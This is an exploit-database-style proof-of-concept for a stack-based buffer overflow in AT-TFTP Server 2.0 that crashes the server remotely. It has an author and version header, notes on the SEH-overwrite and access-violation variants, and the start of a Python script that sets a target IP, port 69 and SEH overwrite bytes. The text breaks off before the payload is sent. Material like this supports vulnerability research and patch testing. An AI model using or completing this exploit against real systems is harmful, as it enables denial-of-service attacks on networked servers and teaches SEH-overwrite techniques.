AT-TFTP Server 2.0 - Stack Based Buffer Overflow DoS
# Exploit Title: AT-TFTP 2.0 long filename stack based buffer overflow - DOS
# Date: 12.04.2013
# Exploit Author: xis_one@STM Solutions
# Vendor Homepage: http://www.alliedtelesis.com/
# Software Link: http://alliedtelesis.custhelp.com/cgi-bin/alliedtelesis.cfg/php/enduser/std_adp.php?p_faqid=1081&p_created=981539150&p_topview=1
# Version: 2.0
# Tested on: Windows XP SP3
#
# From 1.9 Remote Exec BOF disovered in 2006 by liuqx@nipc.org.cn to 2.0 Remote DOS BOF 2013 - no lesson learned.
# Two variants:
#
# 1. SEH overwrite but no exception handler trigger (cookie on stack?)
# 2. Read access violation (non-exploitable?)
#
# Still we can crash the server remotely.
#
#!/usr/bin/python
import socket
import sys
host = '192.168.1.32'
port = 69
nseh="\xCC\xCC\xCC\xCC"
#seh handler overwritten at 261 byte of shellcode but to exception triggered to use it.
seh="\x18\x0B\x27" # Breakpoint in no SafeSEH space in Windows XP SP3